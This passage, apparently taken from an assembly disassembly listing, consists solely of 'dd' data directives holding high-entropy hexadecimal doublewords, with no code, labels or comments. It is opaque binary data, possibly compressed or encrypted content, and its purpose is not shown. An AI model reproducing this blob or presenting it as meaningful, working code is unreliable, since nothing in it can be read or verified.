38D400F0h, 30BD0315h, 2B52EC9h dd 0D5FCA5F5h, 8696841h, 506C8F7Bh, 2E0030AFh, 0BB531743h dd 904F6BF4h, 9DF268Ah, 3A547C6h, 0CE406977h, 5FB0D9B3h dd 7F578E0Ch, 16B80C7Bh, 0AEFA4FA1h, 70DCB883h, 0E0C87875h dd 282C1CD8h, 62365268h, 5E56F163h, 89E9BD16h, 48D6E57Ah dd 0E162A73Ch, 7C70BF2Eh, 0E1475FE9h, 0DD36F97Eh, 0F86928A2h dd 0C14A09E9h, 685003E2h, 6004081Fh, 3BE555D6h, 545BD12Eh dd 0C0C6325Ah, 317D5CB8h, 61709F34h, 0E90506C2h, 29066891h dd 96E2BDF8h, 52C0E957h dd 0D12C0D21h, 109DBB4Eh, 39FFE645h, 0B2326AA5h, 593E4942h dd 0FA79537Ch, 85D49EDDh, 81FB0C9Eh, 54D26FCh, 105FF2BBh dd 80016AC8h, 0EBC0BFF3h, 8C90EC02h, 25EBCEBDh, 155C9268h dd 0D9BF07C5h, 7208C1F9h, 4A0FC496h, 0B8C38CEFh, 55166F1Fh dd 0F5C23B57h, 0BCD9F728h, 94DD4A7h, 52773140h, 0F55120B7h dd 0C5D360F7h, 0EA92ED96h, 0C2F787BBh, 0CEDD77FCh, 9C86F6E1h dd 0C25F256Fh, 5AE2FF98h, 98FC6C75h, 602D71CDh, 51E6C090h dd 60E58973h, 0BF801B2Ch, 4F760B1Dh, 0F0F3111h, 0E95EF3E0h dd 4795058Ch, 6A63885Fh, 4202FDA7h, 6048F674h, 0F90E5A69h dd 2E58155h, 602FC11Bh, 3E362019h, 0F50101DFh, 3DF2DE69h dd 5BD06029h, 38F97AB0h, 0FE5A2DABh, 8045A66h, 0FF0C168Bh dd 0BF39FB5h, 790F78CBh, 0D055B789h, 0FD90816Dh, 0BA257D21h dd 0A5620261h, 6CC4AA92h, 9B9F01EDh, 0DBB18980h, 0D1176392h dd 0D63104AFh, 11D4BEE9h, 0ACBF71D4h, 8C7AADD9h, 3B4ABF82h dd 0BEF652EBh, 0F744A2E6h, 0DB879FE4h, 0EACA6457h, 6E548F0Ah dd 4C5701E6h, 0C1183F5Eh, 9FBE3657h, 55B1CB8h, 721047FDh dd 6C9A4007h, 16AE113h, 572F87FCh, 380F09F4h, 0C1630145h dd 0E96B06EFh, 40740471h, 0EEA7572h, 0E94552CEh, 0D42EA1B8h dd 0BBA0F631h, 0E8698366h, 1E857C08h, 0CFBB4653h, 0EB3E1216h dd 0CB818107h, 0C2E90FC6h, 0BB41002Eh, 45E07EC7h, 0E5693B91h dd 2F7E802Eh, 0CEE9101Bh, 55F23AE9h, 93C1FDD2h, 27E9B48Ch dd 3292A01Fh, 3D386382h, 0FDFA4204h, 0A5830049h, 0D031B6F4h dd 0B27674E9h, 0EE883918h, 4B5AF71Dh, 5446387Fh, 0E24A53A4h dd 0F4583609h, 5E4558E1h, 5F4E9F9Ah, 4B68CA98h, 8F7BE9E2h dd 4D5244DAh, 512CE902h, 452A6AC8h, 1F5D2AA4h, 29660A7Eh dd 0EB04B2C3h, 8BEB4294h, 26CE1015h, 10F4BE25h, 0E0566B45h dd 9CF0E2D9h, 0EDA29515h, 0DBDDEBF3h, 0E6774BC6h, 5D8990B7h dd 0BD0BADC5h, 0A5C3141h, 98E7641Fh, 801C1F76h, 281741B8h dd 45BB7E8Ah, 0B92607A5h, 5C68C21Dh, 6245DE43h, 0C344F921h dd 575EF227h, 0A8617732h, 0FEC58A54h, 6E0BF8C1h, 6018FCBEh dd 10236806h, 1772FB9Dh, 4B1EF82Ah, 31A53CE9h, 70DE6h dd 2770B5B9h, 0AF5E3B0Fh, 4E1E302Ch, 3376504Fh, 0E92D9CC2h dd 0E73E5C97h, 0DC5D4ACFh, 8546CC3Ch, 0B5F5A2A4h, 0F62A0531h dd 0B5369463h, 0DF1B32FAh, 599B5209h, 5F399DABh, 4FDBF71Dh dd 6802EBD1h, 0B6F436E0h, 35FBE984h, 83F028BAh, 31BF784Ah dd 3FDBD8D4h, 0C2484544h, 6BA96802h, 79627FFCh, 504FA073h dd 3980FBB4h, 0C49DF7F4h, 3FE48C8Ah, 6C1720Ch, 58E788BDh dd 0F28E873Fh, 15D4BAC7h, 0E9D30638h, 5A9F6FB3h, 5E21B4F7h dd 0FB87ECC4h, 1F2CE6BEh, 7080F2F3h, 4DB85054h, 3C410505h dd 0CD532BE9h, 38BBD858h, 71556975h, 0DD946B9Bh, 0DEBC0B12h dd 0FA8AE9C4h, 9DBB2CC5h, 233FF4E4h, 798344B6h, 985A0635h dd 18D2999h, 319A2D57h, 31F75F47h, 7FFBCD31h, 2EF8F774h dd 5E121153h, 4D8EAB56h, 0E85DE9C2h, 5B0BA4F5h, 8305E8C0h dd 0D40160C7h, 3FD67AA9h, 12D4EFF2h, 0A1201706h, 0BD7BB4F0h dd 867C04E2h, 5598E9D8h, 794481D6h, 0B918C5E9h, 0F323210Ah dd 52C42E98h, 0E910AEE5h, 28B08B50h, 2080F69Dh, 594CB5A2h dd 93A059AFh, 57E5FBAh, 0EC59870Ch, 1E9825Eh, 7E8F4AEEh dd 0E2658B71h, 0ED0B747Ah, 5A1D3510h, 72CA0B57h, 0D68675C1h dd 0EF77DBE1h, 0F432031h, 7D6058C7h, 6BCBE05h, 64AD787h dd 4709D17Bh, 906B90E9h, 2530B10Bh, 0BA851AEBh, 53D8D79Fh dd 0F200F2AAh, 592D4DBFh, 0A0DFF715h, 2D45E5B8h, 75DC1F4Fh dd 0C1250025h, 0CEF5C74h, 49E9D138h, 0F9ED0D8h, 0B490552Fh dd 20466F5h, 34E954F4h, 0B927A2ACh, 5F55ABFFh, 8D48BCEAh dd 54BD7BCCh, 0A95EEC2Ah, 5D2A89B5h, 0B5E146B3h, 0BB946AD3h dd 6C142305h, 5042A820h, 2E45417Fh, 81F5901h, 0F6D837B3h dd 5CBD163Ch, 69F5BCE0h, 0A55855EEh, 0A1200698h, 2FB904B7h dd 0E9484B22h, 0D20A178Dh, 0E9B1F2F9h, 2C5B75EAh, 64C2C421h dd 0ABFF74BBh, 9EA55E0h, 62A81ACEh, 0B31C257h, 0B7494908h dd 8B6B0025h, 493E3CB8h, 0CBF60952h, 8F07F52h, 0C0024AACh dd 0F8E905EEh, 5FECF2E4h, 7822F3FAh, 5553D000h, 0FD076468h dd 55E97722h, 0AD2FB0D9h, 0FDC589B0h, 0A59C3CACh, 0B8143897h dd 0C233002Fh, 72532D06h, 2BE3478h, 4EBF0516h, 658DE963h dd 5362F661h, 78BD3D64h, 0F5F92A8Eh, 1BFE8B4h, 96B2F1Ah dd 0FC4F5DEFh, 0F1B5CC46h, 393008E8h, 5D33BA01h, 8A70140Bh dd 3DBD0310h, 4097E9A0h, 0C512024h, 1E7C7203h, 7885B569h dd 2B9FA1EEh, 0FCE98620h, 0EFCE9E16h, 0FC7B1B64h, 20FED77Eh dd 0FDBF575Fh, 0CBB07771h, 72CBE704h, 0ACAB40F5h, 9CF3D80h dd 2318520h, 0F0C3E9ADh, 0FD595CCBh, 0F33F0C07h, 0EFCDF71Dh dd 898682F3h, 2F8D7AFDh, 2E510A8Dh, 8ADBC147h, 3A069EFFh dd 9D00327h, 0BD11E34h, 0F204F278h, 23971BB0h, 10F94A8h dd 99C9E9CFh, 83589A74h, 2006B0E8h, 5C0FED17h, 2B52C80Fh dd 278D7418h, 13209CF7h, 0FA43A8E9h, 0F0EBCC64h, 84702CBAh dd 2AE9D07Bh, 6E7ED12h, 516A0193h, 2B0C2F69h, 6009EF1h dd 794CAFEAh, 0DA013466h, 0EC081234h, 0CEE9F373h, 51EDB599h dd 92BF5592h, 6CDD1EE7h, 97537B5Fh, 605B2C31h, 7414D0Eh dd 4E18B24h, 3D3E4410h, 1666AC41h, 71EF159Fh, 0DED568B3h dd 7C5E185Fh, 52EC9560h, 135BF89Fh, 0EB5E0F68h, 43615360h dd 0C22676EAh, 3D0CE9AFh, 31AB10DFh, 0FDA75A4Ah, 0E9F4410Dh dd 0E5F26836h, 32718A08h, 4370A4CCh, 0A3C2C8B6h, 3D5A65AAh dd 0DE76EDADh, 0E83AC0A0h, 0ACECCF42h, 3D0B0128h, 32CC21BDh dd 4CEA1064h, 41EF1F5Fh, 0FB307025h, 0F71F67D3h, 0EB010856h dd 26B16199h, 0BA8CB30h, 2D30153Ah, 0E98D14D6h, 602BB0FDh dd 47586887h, 4648DB9Fh, 0D827EA55h, 256F5B7Fh, 835F691Ah dd 162C0D43h, 255E749h, 0FEFB8A41h, 144C8776h, 4B6B629Fh dd 98FD123Dh, 82417A4Ch, 36760B40h, 0C81F8627h, 68D4471h dd 0FB219977h, 4320925Fh, 57D8B5B8h, 0D929E397h, 613E44E7h dd 7E656803h, 17D6B1ECh, 0DD96B488h, 179C5F4Ah, 5A8D092Dh dd 8875162Eh, 0C5270723h, 0C799AE51h, 0EE4F1CB6h, 0DC08B113h dd 0CD50D1A8h, 0F0660295h, 8A93E930h, 88E1AB6Bh, 3BDDC9F3h dd 4157C7A0h, 0A2AD3EC2h, 948A5825h, 219B0445h, 115BC39Dh dd 3BB32605h, 75C1EB80h, 58000F48h, 3D5AEC68h, 0D302108Ch dd 0FEE2C4A1h, 55E999E0h, 0A7E3CFFAh, 76EC7475h, 0A710EC4Fh dd 5F5C50E9h, 5F200B23h, 0A2E2AD85h, 0EE4F7EB6h, 5F877309h dd 0F6806E70h, 0D582C7C6h, 1CD7BE42h, 2CA9B969h, 9D902020h dd 0C2270169h, 0CABC7E75h, 77D0E6B5h, 16685B59h, 2DEB9D18h dd 0EBFC111Eh, 2ACA7EC0h, 0EC82C612h, 0D80FA2C0h, 965A4931h dd 342FD290h, 0AA084D04h, 0E9C23FE2h, 2360286Ah, 3FBAFDF1h dd 3050D398h, 5D7FEB47h, 751CCF27h, 0ECE1443Bh, 0F5382B26h dd 83414034h, 10B0839Fh, 29C5143Bh, 800ECDFCh, 0EA0F74C5h dd 5350DA4Bh, 0E0D55CBDh, 0B62EF3BFh, 73AD4048h, 63A67012h dd 4E0A04FAh, 22BE1398h, 0EC2D7463h, 0EAF57D3Ch, 0E90C0BB3h dd 0C90FF5Ah, 0D0F6B20Bh, 21900EC0h, 58C13044h, 28C05B21h dd 0DCE912CBh, 7CA4BFF8h dd 0DAD84C29h, 0D032B404h, 0D2E2FF7Ch, 5EF2257Eh, 810F2251h dd 0DD7D03CAh, 3CE0B719h, 2CC6A4A8h, 1660D029h, 7CAA933Bh dd 0AB920CCEh, 0A93E7226h, 0E979B68Fh, 25BA5690h, 0F661B3D9h dd 0A3CD80DEh, 132B1A71h, 466FAECh, 0B772FE35h, 0BF58909h dd 0B068D80Ah, 0FCAE4AC6h, 0A0C04B50h, 9D5354E9h, 7C585469h dd 30FD4F90h, 0B73360DDh, 16EB71DCh, 0A358FE2Eh, 856078CAh dd 8026B74Bh, 287E7BF7h, 78444645h, 2A213807h, 0A799BA4Ah dd 100F5C6Fh, 5D5617ACh, 0EA835CADh, 35E166D4h, 0C2C2DB01h dd 9845088Bh, 510542Fh, 0FA3C20E9h, 43D8CD8Ch, 3EC54010h dd 165A1949h, 0E63EC0Bh, 0D479FA68h, 0DE45CF68h, 0C48EBC78h dd 500F18A3h, 0BBD286CEh, 4F8B372Dh, 34DD054Bh, 1D479726h dd 5FA34D3Dh, 48CEBF0h, 1F628ABh, 30FAE6EEh, 0BA683BCDh dd 6BC59E11h, 5180CB7Ch, 0A547C1B9h, 9DE19503h, 3DEF2FFFh dd 0D0B27A4Dh, 3970DCC9h, 127794B7h, 0B2093C68h, 4E459555h dd 58613AEBh, 4C1F2023h, 0C076905Eh, 47D8F131h, 92B07A6Eh dd 5CC6A925h, 0E65D5AA7h, 9AEBF82Ah, 98EE4A41h, 0B57BB3F8h dd 0E921CB0Bh, 68A6C0B8h, 0E9555FC4h, 1BCF10C8h, 431EFF4Fh dd 0D146DB5Bh, 0A3715159h, 4A44DE60h, 2D4D804Dh, 0EE253B74h dd 0FF8B7D2Ch, 7EE510D5h, 0EFD99F44h, 0E7AA56C4h, 0D1AED280h dd 3B592DACh, 0E0867BFCh, 5298E0EFh, 61A80A20h, 2E4E8C40h dd 29DAD65Ch, 0C62B3507h, 0D89965D9h, 0E2B7B4DFh, 5407E70Ah dd 0E5567762h, 0A4973D40h, 4D97CBF8h, 2E68104Eh, 0CC5A512Ch dd 0F23E870Dh, 8144CB56h, 541238E0h, 0F82EC14Bh, 4A1ABF32h dd 0E5D0D4EAh, 3C676812h, 0D6010BB3h, 0F70CBD05h, 0C31E3AD0h dd 0DC797B03h, 6B3AE869h, 2D460273h, 0B2366AA5h, 6C27715Eh dd 0F1DF16A6h, 0D674EEFEh, 900ECF82h, 7422DD4h, 0F581702Eh dd 0D85C02F4h, 0CE24CA76h, 0DC87583Fh, 576EC7DDh, 562CB509h dd 0C6DD89E2h, 5E99AF9h, 0B1406D80h, 0C4F925C5h, 0FCD9F7D2h dd 5EF73100h, 0C7BBB4D3h, 0D050E251h, 0A526D164h, 0B9B1710Ch dd 68003452h, 0E5C443CAh, 0BA00F4DCh, 75470556h, 64E28107h dd 85896C0Eh, 7E8540A5h, 0B2041213h, 0F60EAC79h, 0B05004F8h dd 0FD14F0F5h, 4E8BFE5Fh, 468ABF92h, 0A45A3A4Ch, 3832E976h dd 55C3F965h, 953DD374h, 3BFF7E2Ah, 557C04Bh, 0FC2048BFh dd 6B70C223h, 0EE81DA74h, 46AB2A7Ah, 9E724FEDh, 9EF83C5h dd 0DCEE95B1h, 81D12958h, 1E6F5CEAh, 409EE091h, 86275DF9h dd 537EB026h, 66560665h, 5303AEE9h, 2133104Eh, 4F7BF158h dd 5C324733h, 0E8524858h, 0E1881777h, 6D6402ADh, 1EBD6842h dd 0C52B1855h, 83B2D62h, 38509186h, 965FA340h, 0BEA9F39h dd 0BE58B074h, 9803FD20h, 0A4AB04Bh, 62F263B7h, 47380093h dd 8DE94092h, 0B5AFE3D2h, 843478DFh, 8003C5BDh, 65C10AF3h dd 54ABBEB4h, 0D401E13h, 20BC0BB9h, 0B9845384h, 50DCACCEh dd 2570F077h, 6883F497h, 133C9083h, 2108DD01h, 0F641381h dd 182502D5h, 644FE12h, 0E7BBAD05h, 297B482Fh, 5603FE39h dd 0DA455CD4h, 8037C87Fh, 307D0EC4h, 0D86F58E3h, 947210ABh dd 36061B7h, 67BA8E40h, 7D487BF2h, 0BEDE4ED6h, 987B324h dd 0F1C5F7D9h, 57325BFh, 0BA052999h, 0F2AF6980h, 0D7AA4E75h dd 1B31E77Dh, 4149EC59h, 0C0C0CB78h, 0A7BAC916h, 5BD9F323h dd 4599FB9Ch, 0C6819C81h, 92899168h, 59E88608h, 0EC74BF5Ah dd 2C1B90C1h, 5C768B3Eh, 567105F0h, 0E8015C0Fh, 6DEF3C5Ah dd 0C37B1F61h, 4FC92A0Dh, 0EBE7FC29h, 6CDF281Dh, 4447CF8Fh dd 0AC802504h, 4E4DA3FAh, 0BDC5C187h, 0A2EE143Fh, 9CBE9244h dd 1E70E7CEh, 99E91384h, 51CDBA30h, 0EC4B6266h, 5742B1AAh dd 0EA5BD16Dh, 0EE96D81Dh, 4162D0A9h, 0E8D0EDE9h, 88976870h dd 632C959Eh, 0E878E9E2h, 12AEBD2Dh, 0FC3AED08h, 6C8506A1h dd 70C7E25h, 2B9C3B46h, 0ABC22BE9h, 0EE020151h, 75061C59h dd 5E5B9101h, 8374207Fh, 0C99E07FDh, 5A58256Ah, 1A103AB9h dd 315E2D72h, 1FF08B3h, 39DFBA18h, 434212A2h, 60253DDBh dd 2F3CF61Bh, 44262E5Eh, 3A7A5403h, 87EDF072h, 9B2C0546h dd 0BF5DEA21h, 0CA6FB0h, 71EC1CF5h, 7973BB53h, 42DB43Eh dd 0E815FBE3h, 0DCA9B482h, 0BEDC2712h, 0A4895F72h, 0E50B3383h dd 0D09A2850h, 79A62507h, 0C18E3C52h, 4A220AC0h, 41B2AF5Ch dd 7D4E3B0Eh, 882F7047h, 0DBD5CA62h, 0C0896904h, 9477AF62h dd 852A9B8Dh, 0C1E1C149h, 36154281h, 782D03BCh, 0A8449869h dd 5C3A3382h, 0C4204E73h, 0A186059Dh, 0C2E0BF13h, 8C412Eh dd 7C3542E7h, 3D220E7Bh, 0DD909582h, 7F82BF20h, 0C1B5AC10h dd 0B535980h, 0C7FE67B7h, 0E9089D0Ch, 12F2C927h, 2D464075h dd 757B7733h, 2F0CFE60h, 0C8706252h, 0C38CD681h, 6F2946C9h dd 0C2831CB9h, 5CA20B3Fh, 623248F7h, 8FB4AA13h, 52EBA041h dd 0BF6DB87Ch, 0D1007C58h, 1BE10DE8h, 1F356A91h, 0D7FF3A6Fh dd 4A62FB89h, 62177931h, 0EA60CF89h, 0FF5A884Fh, 0D8419462h dd 94897952h, 0ADE958EBh, 0B717DABEh, 89CF400Ah, 0B8EF8001h dd 0DA41E7C0h, 0BF00EA84h, 8F2E46C7h, 0E1103F3Eh, 8440FE4Ah dd 3B6D4FA5h, 0A0D55FF7h, 80040530h, 0EE898402h, 38A3C7h dd 1E91AFB8h, 0D9B73162h, 4D496B53h, 11C22B43h, 8696DDB9h dd 484AF69Fh, 1E7F09F7h, 70075149h, 6E1FA262h, 0DE975184h dd 0D0684642h, 67DB767Dh, 43C9AE08h, 0E9225680h, 56041A76h dd 44315E58h, 0B051E8ABh, 5AE548E9h, 835CFEFEh, 128F4693h dd 0DC8BAF92h, 0F74E1C3Fh, 690192F6h, 61F2148h, 17259739h dd 0CE886E02h, 2754BCE2h, 86CB0239h, 755366D9h, 4A0730F4h dd 5997EC88h, 8BF024Bh, 16577AD9h, 4B7564E9h, 1D63F294h dd 2FD331A1h, 0A45F29A9h, 14E2FD2h, 0BD5B9928h, 805E77D6h dd 0BC06DDD9h, 9868C3F6h, 3F4A157Fh, 3478B5B3h, 0FB84E036h dd 8BE8B752h, 3C7138B1h, 0B70A96ADh, 272C86E7h, 477E0B3Bh dd 1662D602h, 83DB0705h, 0B1E9F2C6h, 0C2FEF7E8h, 9B2D8072h dd 1724DA28h, 0E32F8768h, 0FA55251Dh, 27CF24CDh, 8D273C30h dd 5564B277h, 5EBFFE14h, 5E6858FEh, 65F52665h, 3B5BB1h dd 11F681B2h, 6E767D54h, 7416CE78h, 0A60147FAh, 2CF2FE89h dd 0E6631D3Ah, 4BE9430Bh, 19584F3Bh, 2850FA57h, 92F3A331h dd 26A4638Bh, 438C4CD4h, 0F62525B2h, 28DD5CF4h, 30D70F15h dd 0E9259EAh, 50C2D0FDh, 0DEE0CCB4h, 0EC33C078h, 1F070603h dd 92E9AA12h, 506D90D4h, 422D2DB8h, 0B7A1F830h, 3AAD468Dh dd 0EAA216BAh, 0D8EBCE85h, 297CE4Fh, 565066FFh, 5816BBA5h dd 1E4F0488h, 7220AA35h, 3032C3EBh, 0BF50A1A7h, 4A4BAC48h dd 88410FFh, 7ADB5B27h, 6ACDBA02h, 2A414058h, 0F2EBA9Fh dd 2309287Eh, 0FEB1D445h, 30207829h, 168CBB1Ah, 5F60F025h dd 12B6DAFCh, 7AD95D17h, 10DF447Eh, 0AADCEB52h, 0F799C650h dd 0F0970BD2h, 1276E65Ah, 172106AAh, 0CAA6A0EFh, 0E514B891h dd 5C0A00AEh, 0D480376h, 280813BFh, 4AF9302h, 5F4165D0h dd 71357402h, 0D67FDF5Bh, 4E78874h, 0FC90903h, 0FFF0BD84h dd 62882768h, 6A9518E6h, 0EBD1FC64h, 402D607Dh, 9534EA37h dd 70BB062h, 0C0276EC7h, 2F16A7A5h, 4A447A1Ah, 2C0BCCD0h dd 0D41EC289h, 0B3885820h, 4210F84Ch, 7105016Bh, 104926Ah dd 804ED75h, 3D7850C7h dd 967EA207h, 0A689A211h, 3D9D5B5Fh, 4ED77D92h, 92EFCD46h dd 0E763F8B3h, 0D0EE0EE2h, 0F0EC0545h, 0FA081B68h, 0E81D6933h dd 0E7C099EEh, 46E6B1F7h, 0FEF8CEE5h, 341CC1C6h, 3B5AF430h dd 0D2EEFFC5h, 8E775550h, 56EBC22Ch, 0B06B7528h, 1FF156B4h dd 0A45DF0A7h, 0B383B344h, 32060501h, 0BA1645E9h, 504E5849h dd 807C9516h, 93058E2h, 5D276554h, 4FBB0C20h, 7A583F0Fh dd 3D9A0093h, 0E9566FB7h, 0A60A5A87h, 0F7B12D4Dh, 90DFC3B0h dd 449E7C9Fh, 931EA4F3h, 0FAC8AB5Bh, 3CE2D68h, 7FA83819h dd 0DF5B9E09h, 9C02387Bh, 7645992Eh, 0BAC096Eh, 7C89D25Eh dd 648C5E3Fh, 80E9D360h, 0D983C2F3h, 0B4788ED2h, 0C5AC5F4Dh dd 88B83A57h, 0FF5DAEC4h, 0FE30E869h, 14D99D2Dh, 8CA06CE4h dd 4B3FDE5Ch, 1164CBD8h, 0F97DDC06h, 4E4AE831h, 0FF4FC477h dd 0E98287E3h, 0B6C49AE1h, 0ABB5302h, 6338A441h, 2724C06Bh dd 0BCBEC13h, 65EF4884h, 4120E586h, 6BB584Eh, 513D6002h dd 0FEFD20h, 0B25297B3h, 5AD488E1h, 5BDC281Eh, 2AD6F8D4h dd 0EB75DB43h, 45B5587Eh, 0CA5AB8B9h, 0ACB04A2Fh, 88E8E0AEh dd 7597A574h, 0B8BD9218h, 3CF70900h, 0E905EDC1h, 0F90BBF79h dd 5E9214DFh, 5421814Ah, 709A7F5Bh, 974E9B26h, 6B2FBA5Eh dd 2DC46F26h, 57504521h, 7176D0BFh, 32202690h, 0CBA49F49h dd 0B360FAF3h, 95FEFA98h, 0A908BE73h, 11F5270Bh, 0BF2597B1h dd 0D95C956Ah, 6CFE2BFFh, 0C27E9E9h, 9F2B5353h, 3410C55h dd 0F4B7EB19h, 0C25D19DBh, 3C1EDCA7h, 0AC3DE914h, 0FE4A2D12h dd 1E8916BFh, 4D86D311h, 0E88FD99Ch, 0F1CB1653h, 0EEC2F5BAh dd 3962B35Eh, 0CE7BE9BDh, 0B4A661DCh, 497541CDh, 5127E12h dd 0C4FC4EEEh, 6DFD255Eh, 837309CDh, 0F857D6A9h, 0B0C1BD79h dd 4A287Bh, 0A73EB3BBh, 0C9B7B940h, 0E205310Bh, 3E94E199h dd 0EC3F4399h, 0C1E9F1FBh, 0F501A68h, 0D0803BDh, 0EA31699Ch dd 0FBC43F50h, 17B33E5Bh, 0E1655F27h, 7C906804h, 5F7D23A3h dd 69F7D131h, 0CA810474h, 0E2FE6FB3h, 0D214F73Bh, 0D65483F5h dd 10B463Ah, 0E115880Ch, 8A8F6641h, 82DEB7B0h, 0D4786227h dd 1AC46FE7h, 1F5BDAEh, 0A1F38A5h, 54C41605h, 24BCEA6Bh dd 3671CE64h, 8785463Eh, 0D716ED0Bh, 19BF1545h, 0F97BF6D0h dd 71CF042Bh, 83FF1266h, 5D8C582h, 6ABE57D3h, 0FBE5658h dd 0DA71589h, 5D18F680h, 0CC07DDDh, 497C8FCCh, 5EF52631h dd 4AF72580h, 223C8017h, 1364234h, 495AE281h, 2B4A0E0Dh dd 0F201BAA8h, 2CE631E4h, 0F4C27B52h, 3BBF760Ch, 7B83E2CFh dd 0FC531B2Dh, 8E5662C7h, 8C48EE74h, 74A7EE09h, 5BC3699Ch dd 720EFE1h, 0A8EA56C4h, 68E8D87Ch, 526C590Ch, 91F53085h dd 7B5FF862h, 90561088h, 42B30BC5h, 0BD7410D4h, 77FE0807h dd 2FB9F760h, 0B88A4AD5h, 0D35524ECh, 0A120A14Fh, 0CEED26DCh dd 7B95364h, 7F8E7743h, 2F63B341h, 554A1614h, 0DC8204B4h dd 0F9EAAAF2h, 6B68094Ah, 8840790Eh, 5E2D2CBEh, 102103A9h dd 0C7E279Fh, 77410527h, 1AEEFE05h, 140A0C08h, 4F8A22E4h dd 758525Eh, 0FA5BF276h, 1A7E2FBCh, 0FC00AA2h, 7C411ADBh dd 0DD5124E9h, 0F5FA743h, 5587492Fh, 293DB238h, 14C5DF82h dd 998697BFh, 69FD2491h, 1B1CFF04h, 8003E7C7h, 0B5514560h dd 2EEDEC38h, 0BDAFEA3h, 9C55590Ah, 0FE5D257Bh, 1B3FF90h dd 0DE39F598h, 89F7BA53h, 0F067E9F8h, 953490FDh, 24C09EFFh dd 0ACD746E9h, 2B507916h, 353169EAh, 85F27B98h, 2539CDCAh dd 4629D7h, 57511FE6h, 935ABF2Dh, 2F610882h, 89A23AFBh dd 0B32308C1h, 0DF3EA50Ah, 707F4E09h, 413BEBBCh, 2160507Fh dd 0A34C2402h, 0A8FD07E9h, 5FF72060h, 35683001h, 444B9376h dd 5C0B2DECh, 49FE1765h, 0D95D4C02h, 70930772h, 0FB29F9EBh dd 0F306BAB8h, 5C4A54ACh, 4DC7010Ch, 2DE92CFDh, 8BB82A42h dd 367186CDh, 91FB4ABCh, 0EAB8E9F4h, 0C8885FDEh, 0F766070Eh dd 0F94334D3h, 58811374h, 809764BCh, 775BE7B4h, 6817ED7Bh dd 0B35CFEh, 744B4104h, 0DF24C239h, 0D105EB80h, 0B76362h dd 0E66030CFh, 0D849816h, 258A1B1Eh, 70BBF00Ch, 95BECAC4h dd 0DE9D8113h, 3AF3F95Bh, 52E96621h, 432228CFh, 11B71282h dd 0BA9512BEh, 0C70159C4h, 562B6ACCh, 9302E35h, 8393BE20h dd 4CC2654Fh, 3B78F7D9h, 21FF1934h, 55E3BB6h, 434C04AEh dd 14F73127h, 74E2996Ah, 0F861DFE2h, 17A793F5h, 2F285CCAh dd 0B0C0827Fh, 948E451h, 72BE673Fh, 1717B306h, 220EEE09h dd 5A72D8B7h, 2D74E654h, 0F0F9EB9Ah, 4B5E6418h, 48D9EE08h dd 0C122AC2Ah, 660C1A7Eh, 9E3FD70h, 18FC3DEFh, 0CB0F4EF6h dd 641A475h, 4A708380h, 0B557F25Fh, 2C416870h, 55EAF2E7h dd 0CC1DDF8h, 64656BC3h, 2C7F56Fh, 2E605008h, 4D817B09h dd 0C514CB79h, 0F944B527h, 280A13EAh, 2E8C0A1Ch, 70054F85h dd 16D18C45h, 4616669Ah, 6D00E6D1h, 4A3E2D59h, 0C284C142h dd 2E6EF358h, 86E0F0E5h, 0A2DD2524h, 0FB986CF2h, 4C976813h dd 42CF3146h, 0EEB0B6Fh, 2600E411h, 0D45DA1F3h, 37F1914Fh dd 0E833D83Ah, 0C02DA1B6h, 801E1B67h, 0F12568ACh, 0FBE47Ah dd 0B252EFB1h, 0E9C2FEA8h, 0AC4B2024h, 0E003BAA6h, 4E1AD634h dd 3045FF7Ah, 9DEB52C3h, 0E55C7E60h, 70D876D6h, 419C34E9h dd 10FBEC30h, 800F06CFh, 91E588C2h, 3C7797ECh, 89395703h dd 4A6CDCFh, 559453A8h, 2FCD8BEh, 50191859h, 0F14FAAh dd 0FEFAB353h, 0B35C5A62h, 1DE2100Bh, 0EF5F5412h, 0ED16ACDAh dd 0CD36BC1Bh, 232059C4h, 4B174067h, 71BF40E3h, 4E485D7Ah dd 0CD404D8h, 74D24237h, 0D7984801h, 955A819Fh, 7CE3FEA4h dd 0CBD9C73Bh, 10A9CBBFh, 3502D77Dh, 70EF746Ah, 81003974h dd 0C76D1EF1h, 5370BF6Bh, 3539C5E4h, 14BD48D3h, 4DBD463Ah dd 8C628E8h, 0ED5DBFA2h, 0E8808D3Dh, 0C4A53F8Ch, 5B15CB7Bh dd 8348C6F3h, 3105FE4Eh, 0B7D4BFE9h, 832BE2BAh, 948A6855h dd 53C156ECh, 2138E734h, 719D01E0h, 414F2046h, 23E90581h dd 75E85731h, 5A1A9211h, 771AE85Ch, 0DDACAB4Bh, 0A2D53187h dd 0B15312A4h, 0B27787A0h, 290AC908h, 810820C6h, 6D9E5BC3h dd 0D7FDD482h, 164FC126h, 0D64DFC24h, 529D61BEh, 0F7698168h dd 555D05E6h, 5BDD8FAh, 83169BEEh, 4F49FE60h, 2CF7882h dd 0D50E6768h, 4D60597Bh, 2717F3BBh, 0EF728Fh, 35B85077h dd 184EA431h, 7C0B1113h, 0A410C60Fh, 0A7309FA3h, 0A4C0259h dd 76DF2586h, 299982C3h, 0F4757022h, 0BAFD64A4h, 28AAE045h dd 0D8809629h, 62C57A32h, 3194F0E9h, 0EEC9561Eh, 4A81E463h dd 4EDDFE55h, 66F59A02h, 0A3C49D04h, 0B6AFC897h, 9A44B50Ah dd 0D84E4BF0h, 0A5EECD84h, 0C3287F6Ah, 9AC70968h, 0FBF155DEh dd 685DEA60h, 32124ADBh, 0D7C88FC6h, 0C904F581h, 453E5716h dd 4838BFEh, 1850239Ch, 0DC2E03C0h, 0E9BE0904h, 0E890AFACh dd 122D1E71h, 59885D49h, 0AB0C3408h, 0C61D9ACh, 0FA3F4C56h dd 0D48C77Fh, 192ED86h, 6CEAB2EAh, 9CBA7EAh, 8CAFF133h dd 0E111DA10h, 0BE4DF190h, 0D7AF1018h, 7E98ED4Bh, 8DBEEA4Eh dd 3DA73FD8h, 0B4F7F3CFh, 687F02CCh, 983EB8B4h, 0C5FBDB0Dh dd 1B7A1357h, 4BF5CA59h, 0BD98CFEh, 0F7B30A5Bh, 0AFE0D69Ch dd 800276D9h, 91BA0012h, 275BA719h, 5EA907BFh, 11078620h dd 17DC206h, 0B0C1C9Ah dd 50966CE3h, 33474400h, 0E2BD382Bh, 405157E3h, 9A00A76Ah dd 51254105h, 0E71159E9h, 285F880Bh, 0DA9ECB55h, 0F64C5D58h dd 4BABF195h, 1463CE5Dh, 0C3D6ECE9h, 0AED2C50h, 58507E74h dd 0F70404E2h, 883E80D5h, 97241ECBh, 0F02FBA31h, 7D5A823Bh dd 0C71DADE1h, 0CED37F3Dh, 68921602h, 0BCE7004Ch, 475C9B7Ch dd 8BBA2748h, 6C710086h, 12948B98h, 0EADE8956h, 8E37E4D9h dd 